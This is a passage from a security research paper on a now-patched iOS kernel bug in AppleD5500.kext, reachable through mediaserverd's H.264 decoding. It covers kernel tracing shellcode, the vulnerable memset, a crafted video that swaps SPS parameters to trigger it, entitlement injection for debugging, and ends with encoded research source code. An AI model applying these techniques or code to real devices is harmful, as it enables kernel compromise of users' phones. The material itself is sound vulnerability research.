0x10C | | ------------------ | | 0x110 | | ------------------ | | 0x114 | | ------------------ | | 0x118 | | ------------------ We overwrite 0x10 bytes with the following assembly code: LDR x16, #0x8 BLR x16 .quad shellcode_address shellcode_address contains code which prints the registers' state, a snippet from the shellcode: STP x0, x1 [SP] STP x2, x3 [SP, 0x10] ... LDR x0, debug_str LDR x16, kprintf BLR x16 MOV x0, x0 MOV x0, x0 MOV x0, x0 MOV x0, x0 RET Before overwriting 0x10C, the last 4 NOP instructions (MOV x0, x0) are replaced with the original instructions at 0x10C-0x11C. This way, the code executes seamlessly (as long as no branches are being replaced). x16 was chosen because according to the ABI, x16 is only used for jumping to stubs (so it is safe to overwrite it). This way we can see the registers' state at (almost) any address in the kernel without hurting performance or slowing the research. Generally speaking, I've found that this infrastructure work, as time consuming as it might be, will be insanely helpful later on, and always worths the invested time. Ultimately, the state of the kernel text will look like the following: ------------------ | LDR x16, #0x8 |0x1000 ------------------ | BLR x16 |0x1004 ------------------ | .quad shelladdr|0x1008 ------------------ ; memcpy(0x10C, 0x1000, 0x10) ADDRESS ------------------ | |0x100 | | ------------------ | |0x104 | | ------------------ | |0x108 | | ------------------ | LDR x16, #0x8 |0x10C | | ------------------ | BLR x16 |0x110 +---------------------+ | |------------------>|STP x0, x1 [SP] | shelladdr ------------------ |STP x2, x3 [SP, #0x8]| | .quad shelladdr|0x114 |... | | | |LDR x0, kdebug_str | ------------------ |LDR x16, kprintf | | |0x11C |BLR x16 | | |<+ |old insn from 0x10C | ------------------ | |old insn from 0x110 | | |... | +-----------------|RET | back to orig code +---------------------+ The shellcode advances X30 as well, so that we return to a valid instruction (0x10C-0x11C are not restored upon the shellcode's execution). At the time of this writing there are other (public) ways to achieve the same result, but that's what I did, and the most important point I'd like to show here is that infrastructure work is extremely important, and I think every decent researcher who has experience in the field, has written some tools\scripts to ease the research process. Besides, at the return\appearance of an AMCC bypass, this could sleep be handy ;) --[ 5 - Reversing AppleD5500.kext Continuing our research, we know that AppleD5500 has something to do with IOSurfaces. So the next step is to see where the driver actually looks up\fetches IOSurface objects based on their IDs. A quick string search reveals the following string: "AppleVXD393::allocateKernelMemory kAllocMapTypeIOSurface - lookupSurface failed. %d\n" Going to the place where this string is being used, I did the same thing - I added a comment near every virtual call to see where the driver probably uses IOSurface (you can probably guess by now that this is an automated script, another 'infrastructure' work :) ). This indeed looked like an IOSurface object, but to verify that for 100%, I used the same kernel tracing technique like before and checked the vtable of the object in use. This was indeed an IOSurface vtable! This means we know now where the IOSurface object is being looked up. IOSurface was stored exactly in the same offset used in our mysterious memset call. Using the kernel tracing technique we see that indeed this IOSurface object is used for the memset as well! So if we can control the IOSurface object we can do an arbitrary write. Unfortunately, at this point Apple silently fixed the IOSurface plane bug, but I got involved in this research deep enough to continue researching this area of AppleD5500. Now the next part is to make sure we control this IOSurface object. We can obviously do that assuming we magically have an AppleD5500 send right port, but perhaps we can influence mediaserverd to supply our own IOSurface object. --[ 6 - Influencing AppleD5500.kext via mediaserverd Reverse engineering mediaserverd and looking for calls to anything that looks like AppleD5500 yielded no results, but after further investigation (= symbols and strings search). I saw that VideoToolbox was responsible for video decoding, and thus I assumed it was responsible for AppleD5500 as well (though no mention of AppleD5500 was in VideoToolbox). When looking for AppleD5500 strings in the entire dyld_shared_cache, I found out that a library named H264H8 contained several different references to AppleD5500. One of the interesting call flow was: AppleD5500WrapperH264DecoderDecodeFrame --> AppleD5500DecodeFrameInternal --> IOConnectCallStructMethod ; Calling one of the driver's ; 'exposed usermode API' [3] AppleD5500WrapperH264DecoderDecodeFrame had no xrefs unfortunately, but as (most) of the code isn't written not to be used (or it would be optimized out in that case), I assumed this function might be inside a vtable. Binary search in IDA for the address of AppleD5500WrapperH264DecoderDecodeFrame indeed resulted in something that looked like a vtable. The vtable used in an object's initialization code in a function called AppleD5500WrapperH264DecoderCreateInstance. H264Register was an exported function with no symbols and no xrefs, but the string "H264Register" did appear in VideoToolbox. It appears that VideoToolbox treated H264H8 as a dynamic library and H264Register as the "entry point" (found with dlsym). So to actually trigger usage of the driver without having a send right to the driver, we needed to do the following: +----------------------------------------------------------+ |XPC request to mediaserverd (VTDecompressionSessionCreate)| +----------------------------+-----------------------------+ | v +------------------------------+ |dlopen & dlsym to H264Register| +--------------+---------------+ | v +------------------------------------------+ |AppleD5500WrapperH264DecoderCreateInstance| +--------------------+---------------------+ | v +---------------------+ |Utilizing the vtables| +---------------------+ | v +----------------------------------------+ |AppleD5500WrapperH264DecoderStartSession| +----------------------------------------+ | v +---------------------------------------+ |AppleD5500WrapperH264DecoderDecodeFrame| +---------------------------------------+ | v +-----------------------------+ |AppleD5500DecodeFrameInternal| +-----------------------------+ | v +-------------------------+ |IOConnectCallStructMethod| <- driver entry point +-------------------------+ VTDecompressionSessionDecodeFrame is a documented API that checks if we're a "server" (e.g, mediaserverd) and does a lot of logic assuming access to those drivers. Or it just sends a mach message to mediaserverd if we're not a server. Despite being 'documented', VTDecompressionSessionDecodeFrame had a secret undocumented feature which I discovered during reverse engineering AppleD5500WrapperH264DecoderDecodeFrame (so a much later stage of this API). It is possible to embed some properties in the sampleBuffer, in a dictionary called "tileDecode": tileDecodeDict = CMGetAttachment(sampleBuffer, CFSTR("tileDecode"), 0); if (tileDecodeDict) { cfnum = CFDictionaryGetValue(tileDecodeDict, CFSTR("canvasSurfaceID")); uint32_t surfaceID; CFNumberGetValue(cfnum, surfaceID); ... x = ... CFDictionaryGetValue(..., CFSTR("offsetX")); y = ... CFDictionaryGetValue(..., CFSTR("offsetY")); lastTile = CFDictionaryGetValue(..., CFSTR("lastTile")); } The dictionary had 4 properties (or at least, I saw 4 properties): "canvasSurfaceID", "offsetX", "offsetY", "lastTile". I had no idea what these properties meant, but "canvasSurfaceID" sounded perfect for our case: What if we could supply a surface ID to canvasSurfaceID, and hope that, magically, this surface will be used in AppleD5500 in the behaviour we saw previously? And so it appears - this could indeed influence the behaviour of mediaserverd and make sure it sends our requested surface object to AppleD5500!! This could be verified both by reverse engineering mediaserverd and following the IOConnectCallStructMethod call, and the buffer given to AppleD5500, or simply using the kernel tracing technique to see whether the surfaceID of the object in AppleD5500 matches the surfaceID we sent (which requires prior reverse engineering of IOSurface.kext). It could also be performed by calling the function IOSurfaceRoot has to lookup surface IDs, and see if we get back the value we expect given our specific surfaceID. Most important thing is - to make sure that this indeed influenced the given surfaceID. I personally did it by reverse engineering mediaserverd and following these calls, because I was interested in offsetX and offsetY as well, though this isn't necessary (but proved to be useful, as you'll see soon ;) ). --[ 7 - _The_ bug Back to our main objective, get to that memset with our arbitrary 0x80 write. Looking up the code, I noticed the following: if ( context->tile_decode ) { dest_surf->tile_decode = 1; tile_offset_x = context->tile_offset_x; // [0x1] dest_surf->tile_offset_x = tile_offset_x; tile_offset_y = context->tile_offset_y; // [0x2] dest_surf->tile_offset_y = tile_offset_y; v73 = tile_offset_x + tile_offset_y * dest_surf->surf_props.plane_bytes_per_row[0]; // [0x3] v74 = tile_offset_x + ((dest_surf->surf_props.plane_bytes_per_row[1] * // [0x4] tile_offset_y + 1) >> 1) + dest_surf->surf_props.plane_offset_again?[1]; // [0x5] dest_surf->surf_props.plane_offset[0] = v73 + dest_surf->surf_props.plane_offset_again?[0]; dest_surf->surf_props.plane_offset[1] = v74; } ... if ( !context->field_4E0 && !(context->some_unknown_data->unk & 0x30) ) // [0x6] { surface_buffer_mapping = v85->surf_props.surface_buffer_mapping; if ( surface_buffer_mapping ) memset_stub( (char *)surface_buffer_mapping + (unsigned int)*(_QWORD *)&v85->surf_props.plane_offset[1], 0x80LL, ((dest_surf->surf_props.plane_height[0] >> 1) * (*(_QWORD *)&dest_surf->surf_props.plane_offset[1] >> 0x20))); } The data in [0x1] and [0x2] are completely controlled by the user. These are the offsetX and offsetY which we provided in the dictionary and they were forwarded exactly without any check. It looks like, [0x1] and [0x2] are being used in a calculation that ultimately leads not only to a write of 0x80s with an arbitrary length, but also to control the offset from which the write is done! This makes our primitive much more powerful as we can make our overwrite more accurate. The values mentioned in [0x3], [0x4] and [0x5] are attributes of the IOSurface in question, so they are usually somewhat controllable. In this particular case, the limitations on these attributes pose no restrictions on the impact of the memset's primitive. While these attributes aren't really within the scope of the paper, for the curious reader, you are welcomed to reverse IOSurface::parse_properties to see what IOSurface expects to receive for creation. One problem I noticed with kernel tracing though, is that we never get to the memset because of the following condition: context->some_unknown_data->unk & 0x30 // [0x6] The obvious problem we face here is that there are no sources and these are actual offsets in a struct and unfortunately there's no easy deterministic way to know which object we look at. Looking at the assembly code for this line, it is decompiled from the following: ; X19 = context LDR X8, [X19,#0x448] ; X8 = context->some_unknown_data LDRB W8, [X8,#6] ; W8 = unk AND W8, W8, #0x30 ; unk & 0x30 CBNZ W8, skip_memset ; if (unk & 0x30) goto skip_memset; Because the offsets weren't so common (0x448, 0x6), it is possible to actually grep the entire driver text section and start trying to find the right reference by grepping. Because this happens pretty often when reversing IOKit drivers (or reversing "large" binaries anyway), I highly recommend automating this process. Imagine how good life would be if you could just grep for "STR *, [*, #0x448]". It's not a oneliner in Python, but for the long run this worths it. For this case however, grepping would be enough: $ cat d5500 | grep STR | grep 448 | grep -v SP 0xfffffff006c30448L STR D1, [X19,#0xA90] 0xfffffff006c41448L STRB W13, [X1] 0xfffffff006c44488L STRH W17, [X13,X15,LSL#1] 0xfffffff006c4481cL STR W8, [X19,#0x64C] 0xfffffff006c44890L STRB W9, [X8,#6] 0xfffffff006c448e8L STR W9, [X8,#4] 0xfffffff006c47448L STRB W0, [X19,#0x2A0] 0xfffffff006c495ccL STR X9, [X10,#0x448] ; only option 0xfffffff006c50448L STR W24, [X22,#0x17BC] For brevity, I'll sum this xref looking process for you - it wasn't magical, and I made some tools to speed up the process. Sometimes the offsets are very common and then grepping won't work - for this case sometimes the best way is just manually following the code flow. Going further, I eventually got to this code: LDR X11, [X19,#0x1B0] LDRH W11, [X11,#0x24] LDR X12, [X19,#0x28] LDRH W13, [X12,#6] MOV W14, #0xFFCF AND W13, W13, W14 BFI W13, W11, #4, #2 STRH W13, [X12,#6] ; This is the "unk" we were looking for. I then looked for 0x1B0, which was responsible for this entire calculation, and then I saw the following string: "CH264Decoder::DecodeStream error h264fw_SetPpsAndSps" In the same function, I found another interesting string: "AVC_Decoder::ParseHeader unsupported naluLengthSize" --[ 8 - H.264 in general and in iOS I googled then "AVC nalu" and the first result I got was "Introduction to H.264: (1) NAL Unit" [6]. I figured, it might be easier to understand a little bit more about H.264 (as I had 0 experience with that before this research). The standard of H.264 can be found at [7]. The relevant page for NAL unit is section 7.3.1, "NAL unit syntax". As we can see from the copy, each NAL unit has a type and is being processed according to its type ("nal_unit_type"). From all of the different NAL unit types, there are 3 which are necessary to know: *) SPS (sequence parameter set): General properties for a coded video sequence. An example of a property which is held by SPS is the "level_idc" which is a specified set of constraints that indicate a required decoder performance. *) PPS (picture parameter set): General properties for a coded picture sequence. An example of a property that PPS contains is "deblocking_filter_control_present_flag" - flags related to the deblocking filter - a video filter which helps smoothing edges between macroblocks in the video. Macroblocks are like blocks of pixels (a very rough description, but good enough for our case). *) IDR (Instanteous decoding refresh): This is a standalone frame, a complete picture which doesn't need other pictures to be displayed. IDR is always the first NAL in a video sequence (because it's standalone and other frames depend on it). The question is - how to find the appropriate type in the kernel and the code that processes each NAL unit according to its type? I started searching for NAL unit type strings in the kernel (SPS, IDR, PPS, etc), and found the following piece of code: LDP W9, W8, [X19,#0x18] CBNZ W9, parse_nal_by_type ; [0xA] CMP W8, #5 B.EQ idr_type_and_no_idc_ref parse_nal_by_type SUB W9, W8, #1 ; switch 12 cases CMP W9, #0xB B.HI def_FFFFFFF006C3A2DC ADRP X10, #jpt_FFFFFFF006C3A2DC@PAGE ADD X10, X10, #jpt_FFFFFFF006C3A2DC@PAGEOFF LDRSW X9, [X10,X9,LSL#2] ADD X9, X9, X10 BR X9 ; switch jump idr_type_and_no_idc_ref ADRP X0, #aZeroNal_ref_id@PAGE ; "zero nal_ref_idc with IDR!" ADD X0, X0, #aZeroNal_ref_id@PAGEOFF BL kprintf MOV W0, #0x131 B cleanup As we can see here, "idr_type_and_no_idc_ref" happens "if [X19+0x18] == 0" (at the [0xA] marker) and if [X19+0x1C]. Checking in the manual, we can see that for NAL type == 5, we get indeed an IDR NAL. Based on this findings, we can assume that [X19+0x18] is nal_ref_idc and that [X19+0x1C] is the type of the NALunit! Back to our mysterious offset 0x1B0, I started thinking - perhaps it is either PPS or SPS? The string we found earlier is pretty clear that the function is doing something with them. I then decoded a video with the API and using the kernel tracing technique, I looked at the content of 0x1B0 to see if it looks like something which looks like SPS or PPS. Luckily for us - this was indeed the SPS object! I figured that out because within 0x1B0, All of the values were in fact the values of the SPS object which is described in the standard (section 7.3.2.1.1 [7], I love you too). By slightly changing the SPS of the video I was tracing, I saw that the changes in 0x1B0 were correlated. In fact, most of the SPS object was stored there in the same order as it appears on the manual :) so this was even easier once I found the function in the kext which filled up the object. This was sufficient to understand the mysterious unk & 0x30 check which means (wait for it): If SPS->chroma_format_idc (section 7.3.2.1.1 [7]) == 0, we get to the memset we were waiting for! At this point, I already had some tools to create and manipulate videos. So creating a video with chroma_format_idc == 0 wasn't a big problem. To send a video for decoding, you first have to call the function CMVideoFormatDescriptionCreateFromH264ParameterSets which creates an object that holds information about the SPS and the PPS of the video. This object is given to mediaserverd to create the session. After the session is created, we get a handle representing the session, and give it to *DecodeFrame which ioctls the driver from mediaserverd (see graph above). I created such a video, sent it to decoding, was waiting for it to crash the device and... nothing happened! After a brief reversing of mediaserverd, it appears mediaserverd rejects chroma_format_idc == 0! --[ 9 - mediaserverd didn't read the fucking manual But... mediaserverd only gets the SPS information at the beginning in the function CMVideoFormatDescriptionCreateFromH264ParameterSets which is only being called once. According to the manual (haven't seen a single case in practice though, and I've seen plenty of "Snow Monkey in Japan 5k"s during this research), there could be multiple SPS objects there (section 7.4.1.2.1 in [7]). Which is odd, because if mediaserverd only gets the SPS and PPS information once, and rejects them, then how it is supposed to be aware of the other SPS\PPS packets? (*DecodeFrame just passes the packets to the driver without doing any sanity check). With this in mind, I decided I'd just try creating a video with a normal SPS\PPS properties, then in the middle of the video embed a new IDR, which points to a new PPS, which points to a new PPS with chroma_format_idc == 0, and see if that bypasses the check deployed in mediaserverd. +------------------------+ | SPS | | chroma_format_idc > 0 | |seq_parameter_set_id = 1| +------------------------+ | v +------------------------+ | PPS | |seq_parameter_set_id = 1| |pic_parameter_set_id = 1| +------------------------+ | v +------------------------+ | IDR | |pic_parameter_set_id = 1| +------------------------+ | v +------------------------+ | SPS | | chroma_format_idc = 0 | |seq_parameter_set_id = 2| +------------------------+ | v +------------------------+ | PPS | |seq_parameter_set_id = 2| |pic_parameter_set_id = 2| +------------------------+ | v +------------------------+ | IDR | |pic_parameter_set_id = 2| +------------------------+ The moment the IDR packet with pic_parameter_set_id = 2 was sent, the kernel crashed with the panic we were expecting! Slightly afterwards, iOS 11 was released. And unfortunately - the same PoC code did not crash the kernel... I diffed the driver code but there wasn't any change. What I did notice however, is that the string "canvasSurfaceID" did not appear in the binary of the driver anymore. I did notice that a bunch of undocumented APIs were introduced then, namely VTTileDecompression* (instead of VTDecompression). I was too lazy analyzing the function with IDA (to be fair, IDA and dyld_shared_cache aren't good friends yet), so I decided to go with a different approach: try attaching debugserver to mediaserverd, and change the given values to IOConnectCallStructMethod, hoping that the kernel crashes if I change it to the same values back in iOS 10.x. Attaching the debugger obviously doesn't work out of the box. I assumed both the driver and the process need the run-unsigned-code entitlement, so without even checking why things didn't work, I just injected the entitlement to mediaserverd and to debugserver and tried attaching debugserver again. The entitlements' dictionary is stored in task->bsd_info->p_ucred->cr_label->l_ptr: struct task { /* Synchronization/destruction information */ decl_lck_mtx_data(,lock) /* Task's lock */ _Atomic uint32_t ref_count; /* Number of references to me */ boolean_t active; /* Task has not been terminated */ boolean_t halting; /* Task is being halted */ ... /* Task security and audit tokens */ #ifdef MACH_BSD void *bsd_info; // struct proc ... }; struct proc { LIST_ENTRY(proc) p_list; /* List of all processes. */ pid_t p_pid; /* Process identifier. (static)*/ void * task; /* corresponding task (static)*/ struct proc * p_pptr; /* Pointer to parent process.(LL) */ pid_t p_ppid; /* process's parent pid number */ pid_t p_pgrpid; /* process group id of the process (LL)*/ ... /* substructures: */ kauth_cred_t p_ucred; /* Process owner's identity. (PUCL) */ ... }; struct ucred { TAILQ_ENTRY(ucred) cr_link; u_long cr_ref; /* reference count */ struct posix_cred { /* * The credential hash depends on everything from this point on * (see kauth_cred_get_hashkey) */ uid_t cr_uid; /* effective user id */ uid_t cr_ruid; /* real user id */ uid_t cr_svuid; /* saved user id */ short cr_ngroups; /* number of groups in advisory list */ gid_t cr_groups[NGROUPS]; /* advisory group list */ gid_t cr_rgid; /* real group id */ gid_t cr_svgid; /* saved group id */ uid_t cr_gmuid; /* UID for group membership purposes */ int cr_flags; /* flags on credential */ } cr_posix; struct label *cr_label; /* MAC label - contains the dictionary */ /* * NOTE: If anything else (besides the flags) * added after the label, you must change * kauth_cred_find(). */ struct au_session cr_audit; /* user auditing data */ }; struct label { int l_flags; union { void *l_ptr; long l_long; } l_perpolicy[MAC_MAX_SLOTS]; }; This time it worked! First, I took an iOS 10.x device, triggered the problematic flow, and put a breakpoint just before the IOConnectCallStructMethod function (which is the actual ioctl to the driver). I knew that this works, so I just copied the entire input buffer to the IOConnectCallStructMethod. I then called the corresponding functions (same API, but changed the VT prefix to VTTile) and set a breakpoint again. Once I reached IOConnectCallStructMethod, I simply overwrote the entire input buffer and replaced it with the input buffer I copied from the iOS 10.x device. The kernel crashed! From there, it was easy to reverse engineer backwards from IOConnectCallStructMethod and see that the 6th parameter given to VTTileDecompressionSessionDecodeTile is simply the X and Y offsets shifted so that they fit in a 64 bit integer (each one of the offsets is a 32 bit integer). Apple eventually fixed the bug by checking in the kernel for out of bounds before performing the write. They re-verified the values once again in AppleD5500.kext. If you would like to find the actual code where Apple introduced the checks, you can search up the kernel for the following string as this is now printed when putting bad arguments: "bad IOSurface* in tile offset check" After this string there's a series of checks for the attributes of the IOSurface object. --[ 0xA - Takeaways *) I've just displayed one vulnerability in an attack vector accessible from within the sandbox. Parsing video and making sure there aren't mistakes isn't that easy, and it's all done from within the kernel! It's obvious that there are more vulnerabilities in this driver, and in other codecs in iOS as well. The attack surface is (sometimes) more important than the vulnerabilities, and I think this is a good example because nowadays it is not _that_ common to find simple buffer overflows. *) Manuals are super important. Often when reversing drivers, it is easy to fall for looking for patterns (looking for integer overflows, races, appropriate refcounts, etc). Understanding what we actually reverse and not just looking blindly for patterns was the only reason I thought about putting two SPS in the same packet. I didn't try "bypassing" mediaserverd, I just understood that SPS has an ID, and hence it is likely that there can be more than one of them. Maybe it wasn't the reason I found the vulnerability this time, but that happens as well. *) Infrastructure is super helpful. Sometimes people can get lazy writing tools, but these might be helpful eventually, even if it takes a lot of time writing them (the kernel patching technique was really easy to write, but I did find myself writing a single tool for a few days just to have things easier when researching). It's an investment for the long term, but without the kernel tracing technique I would have probably given up already. I had so many assumptions which were mandatory to verify, and it was very easy thanks to the kernel tracing technique. --[ 0xB - Final words I'm not sure how you readers feel about this paper, but from section 7 till the first crash, it took me about a week. I tried to put as much details as I could into that paper, but unfortunately sometimes you either forget or ignore details. While it was time consuming and some experience IS needed for that, I'm trying to show you that it is not impossible to actually find bugs (good, reachable from the sandbox bugs). I highly encourage you to stop mentally masturbating about iOS bugs and just throw a freakin' kernelcache into IDA and just start reversing. It's much easier than it looks! We're still in the era where someone can drag a kernelcache into IDA and have a good bug within 2 weeks. Remember my words, in 5 years we'll miss these days, where we can completely wrap up such a project within a month. Additionally, I would like to thank Zimperium for letting me doing this research. It is not always easy for a company to simply let a single person to do his own research on the internals of a video decoder driver, hoping that when he says there's something coming up, something actually comes up. P.S. - I did start working on an exploit, and then more important things had priority over it. Hence some of the attached code might be redundant. Sincerely yours, Adam Donenfeld, aka @doadam. --[ 0xC - References [1] https://nvd.nist.gov/vuln/detail/CVE-2018-4109 [2] https://nvd.nist.gov/vuln/detail/CVE-2015-7006 [3] https://developer.apple.com/documentation/iokit [4] https://github.com/kpwn/yalu102 [5] https://xerub.github.io/ios/kpp/2017/04/13/tick-tock.html [6] https://yumichan.net/video-processing/video-compression/ introduction-to-h264-nal-unit/ [7] https://www.itu.int/rec/T-REC-H.264 --[ 0xD - Code begin 664 src.tar.gz M'XL("#8LOUL"`W-R8RYT87(`[%Q[=]LVLL^_TJ=`FG,:*W7T\"O)=;>M(LN- M-K+D*\EI/*9/TWXO'IUC+];KXZ;^N_D\Z1U>'C\ZN3@I-D"NE;S\.#P"3M^ M\@4^<1A9`6-/K.!ZM8ONOO+_HY\0]-\;OA=1XS/K__CWZ+]U"(\>]?]%]3\< M7_`PM*[YP(_$7-A6)'ROOOB3]']R=%2B_U;SX.@@I__CDZ/C)ZSYJ/_/_FF\ MJ+(7K..O-H&X7D1LSZZQUILWKU\>@&I8>[5R.90N5W'$@WW6\^PZ:[LN(^*0 M!3SDP2UWZ@"".#^T+R_[W>EP/.J>=T?=0:<[[?7[$XI`#7L(_O[/Y*H*V$<,&@;G" M\@!Y+:(%-:M0ZM!GGHCO.K"\"#@&SC:`''L.#W1BQ$J:FW%LD6CM@%L1WV<@ M&.Y9,Y=3'7J*G,/C@#LBC`(QB^63^3Y"Q9YKK>>QBQ3PMVS#`6Y7@I-4+4]) MQU_Q`,"\:Q9NPH@OJ:W(I[Z)P(Z7M]R+]MFM\%T3)RF)8D?2*4Z@E0T"@4$M M=[?*0G\>K5&%BE=F70><+P&XGEC0IJ_ M&HWU>EV'AKR0-%^WL.4Z**QAK4*W098#@@0K0I'/_0#%CBREJJYOC9<7K959 M,#I2OE,M@)@+VD7C1!R=R$?;9<_;8]8;/V]P9G^ZP+I=T1`G5_OAQUQV,V'+'>Q66_UX72]N",T:!D0-1] M^Y&=]<:=?KMW,6;M?I^-KSKO$MQ>=TQFTAMT^E=GO<&/:>*@R-K#LX0__5J):XSC=F MKVETFTSYS7>]\60X^BB_-:K59V(.',XK4V`$_K\`4;9_[`Z&D]YYKT.*F+ZK M/I,.C^TD0BB@`R)[Y<8A_JOR.V#+8U]UOF+_JC[C'OA6I/-L-P8C_G9IV8L& M_IA&FQ4/ZXOOM$*'WX+$&O*7B4`&$[WAB$=QX&%9E7OQ$EIB\+DY%T$8$8T> M9DP`AU4J?V.M9G-?$O:&8Y`1-$*>.EP\E/S"BNP%=_+DDKJ5IYZ`$X+Q&QDJ M(/U!2M\.-YZ-*G4Y4ACACXO,%".JE/HDH>Y;Y1)!PC=OJK^=9J4X'.NTJI7> M&9(?'^XG-#K//$OT2A%=6'=$U0ZN0]G:2:$QU?F1,MH>6.8=`]+FOK&\X\

>S9:?62>H9J(SZ'\(`J&LMS+9(%P/C/-WIOF[F*IF9S)%K] MA*(',SJ,[^AWMYZK:&H]1Z*,;"<-M4$JK58;#?8R\\G9E&)N?G)$M8#CU_O% MLK'X)R?]%2J`(]O;$UY48R'0^/,]X4\A9@FF`9\#3QXZC%H-F4&_@5[)0,"V ML/+1R=$OQ:;^`1V"63.VD5X?"^]@[N;!R9'J%;FQ97@]18ZF405_G58JC1<4 M<$(@0:RBST5J<`1Q8+E`5T$.3^EAD9]*RNXI^=?<1>#P%*2)M&0_T8- M/UL%UO728BO+OMD[JB4"2KU1:AJR>BHDK=M+Z24F:>\-&DJ(P&?$&(O]T@(V MH/U,\S6#M9&LGK[OC@;=_O1JW!T='E1+3+#<`!/S@[J:(:5=**CKESSJ/:;S M^0SG/\1L"D93L)E;7SCLQ0/-1''"0+(9RV`4"*6\Y.;?+"])M(&!5>Q&IW^& M=&4G($:_#G_Y!X1/5J2"=*#=VT/FN5.KZ<+6:S1W5]G*7@9ZF?`LL>E=1FIZ M>)JO6:K!L@(#0HGB43>/+X^2+YO]YP(J/YSY+_ MW9'_.SQHM7+YO\-F\_`Q__=7Y_].'O-_C_F_Q_S?8_[O,?]GRO]MDW0P@?8F M\'/R\;([SF3F\B5IP$<%*2%]8RTM+GHJ'\ED8#8S)\/J;-:-2FZ7VX3<[HS< MPY."LHN#JWY?#ZHQ?DZKUI)N$%FEJ4+BI&_X$,)?&1W7FK4$7/VJJ#SJ6&`H MR1PKLICLA2YD8/6BW9%2G.(JK`-V9]DJ8LD2:E37,0BK7J\C+=.(->F$D3/S M?3%XLA5HJINT"6I7>[QED1I)H^DKB+,/#RJ5WG"X0@-\*Z)P M&VN/T])S<<>=4T,U-2F9BGK@*&E=FR]D#$H[8!<<9D]<+C8AS,INVW$@$@@-(`4:!"K%Z7/O.EKLA)$DQ$YJQ/W+ MDZ/I-*U#2W<8"Y9L$5:H($`11''*1+)J2VIDB(W4Z7#0EI6R65I.)@_E"K:6 M`FGE1S#;]_P]*O>PM18]]^RPX/:K4<"&:!*B=' M527%\@Z@,']'![+D#^Z`ZQL9Q/Q6HKO(J;G[3 M:HU@UM/'MEJWI^A9.WD@N*J48)>-LRPA6*QJ1=4CS=!4EM1$IVAFM#AD,YPF MQ2H7I_.:;S.=/_5&U11S8:T@IHO6G'OL63*34>@:+Y]C'.S!6M"3$0.$IW<1 M#)30#@3Y;#D=Y=C_5[4BO(C=6FX,K5<(@7)M[(5G+;ED<0!_.1\D2UA/,M>ODQ"&>`)%C,66_EKB%$PE%W[V<;3K!ZTC6)/0%!7J1%.<=Z= M?KB83MKC]SC&,#JPPIMIA'-PPL=E#.$J!,XH8:R7AE-A%,_GLMEJHY$/)A3Y M-F?PW3:R@4GPW51Z%CV_)2.AR^%H,IZ>=<][@^X9V%(^4LJ79WSZR@\B4+_P MISZMZ*;1:6;Z-4+DION2_4M]1R(!QX9`HYYJJ80"C0>7+7ZP@TA$]Y($_!K7 M`1L`Q)_EA*%,W4TU=8,13(=O_][M3$CKH&RM3HTU,UE633]*NV`M'=E/&"'* M,I?TB[2;VPP\XW,K=J.+E`"W`@V;AHJ.(I!*9KNPYRW$3&Q+MKNR/P4@JI5;0-#"K*BR0G)48?F/#R M0#I&7G@Y>3X((R?FOQ5%_P"0@C[R.GHP)SG-F11JQM&`KF!8R.`Z)/6DVIG/ MYQG"$2SNAYZ[V2JPU40%:B1C7";:BJ`ES6`_`Y'LZ$B2@R+)E2=^C9/R(UDN M#?+%4_8#6=X8IF_.SBT;_$)(57]P1&C'(:6?KC`S`]:(.8T0*:=SHF0K*X#Y M!/P)$YA_^S46@="V,%NH.66XAXDUQ7W(*44.Y$FPKXI@:!4`5`Y5@"+5]#I MNW_6`,6^*8",=W%B8()\J.Y*\A)F6P=7$!J=8&FFI3E!R%*8I34BG3WZ9(BR MM%MYL(1V+P/00.J:LDO*6H+ASX0KHHU<@V>7L7K\.VA),H.0:`XA/:"D`;T#*-*"&LWB=.J9\Y] M:Q'2J#NY&@V,>TIIT:>>\>9!X`=Z]J."FQ[3@-B6F7#9!>V@$HS,J?!O1)0R ME#YA91]H9RI']%[S[O!U30L&MY5Q*R5!C&?RX13&Y1*&A!DQGNTU:X9*<3@K M9P,JM4R5YK",6L._LDH'IDHSU[=OIB&L#M#PBI6.3)7`Z:\6P@[+6CHV5?)X MM/:#&[#J2F5+>F)F*N:1[\.T8\9_;:JT6L8[9?;&5,FR5V*GH(WJ"9>S.-Q5 MRZ@?:V'O;LNH(,JA+BT/U$-9UD*M0SRG6JRW$(Z:@HQM'9EKK6P;EY=E%M2J M50TLPC3I^$"1^+%\M9?&CB6!5UEC+[7&*OI8F@+%GASAM6VUO70<_CL_^/ZM MB'-HTGT1&M38SR!FT?(`S-CO#%]&=G(54M@4]R9Q5^/8MM6N&'TPV3F%F:Z# M,Y+V:338\'VQ>A?=HD96$%_S[F`&83)4O^8>A"PN(T_**D6L@:^2C[NP',*R M+>]YA.&##W$N5PE89H(<<1F\A.60G"`#1 M.G&`DRO4,S(GLP*[T.PFH7D^V+.]8#(5;\2*+@-Q"R'7-1FZ$:M%6*N$3@LU MBX!O+2'@85Y)7T3K^WB>%].).[IZ2&BJBQ17NE2M%(\R MG^5X1SK>FFA+`;MW,-F'XI:WY7`P`AY+S2:DS)*T%#-]Z@<`6<*CY6*O-QC; MEZ@DO9A4VND3XC$$-30";G.!?D^=@@G_()<+T`B$(I3/C1B>]Q=.D+']Q<.P`L'4/:E-.G,:%T:D,T11W=L_11QDNODNL%\!P_-/"MQ0L<<5@ M:0BU-0\C'H[_W7C2%\NQ_P!`VAWF.WR4(]WQ=BNZS#)HK#K"VB4Z1_IC2=!!K.YRX^V`GT2K=\7]4H M-?R=88WS6DWS$9-3@-D\HP@W],K]JO,F/QBMI(H)L+,`?\'=<`=?5A)^H`;M MA-[E\\@$.%Y9]CU"FZ7Q#-%B:H*.,7Z:-W3L'=[P$D9Z]TZ$T:X.2O>%3B&= M?CG5*?.N/Z4+7R,>U[PKK9$=?^VQ/SCSKM0))A7HFD1/TUH0K\JC-6>>B%ZD MM(EYF!#/<>\TW*5,WM2M8R[IN?=KS&,3I`I>)K[?AU"1FR&E3\2T%!Y@E",'%MN>H<7,8C;?<(Q6]&%D\2,?J*J$U(5W2F:2=\CM,Y"?/+]'& M-`Y=\]I(FT[,<-+7+HF0V,.5KQ>98C08=TL+.9>P1KCC6@8MK;(SYL/SLV:X MD\Q*9HE[$08@!_7C[>RF\KOH-6)%;_#@MQD@,]+K+9)_6P(D9QSR0Q4SBG2Z MF"!5CE>$)#"5A`(U8++>W3PU^N#T5F`)NO3`EMPG(4(6P*1%R8'MH88B='M& M^BA!E6Y8;2)@(EU2FSA\"^N;M7"B10F4=,&8IYHEE-#U&$*'F=SJX8X9&*;% M<.5[#B;JS-"%V#)(:QB"\=`'US)TR[HL/;,(?7L1^)X/_&(,@`+D820G(B'/ 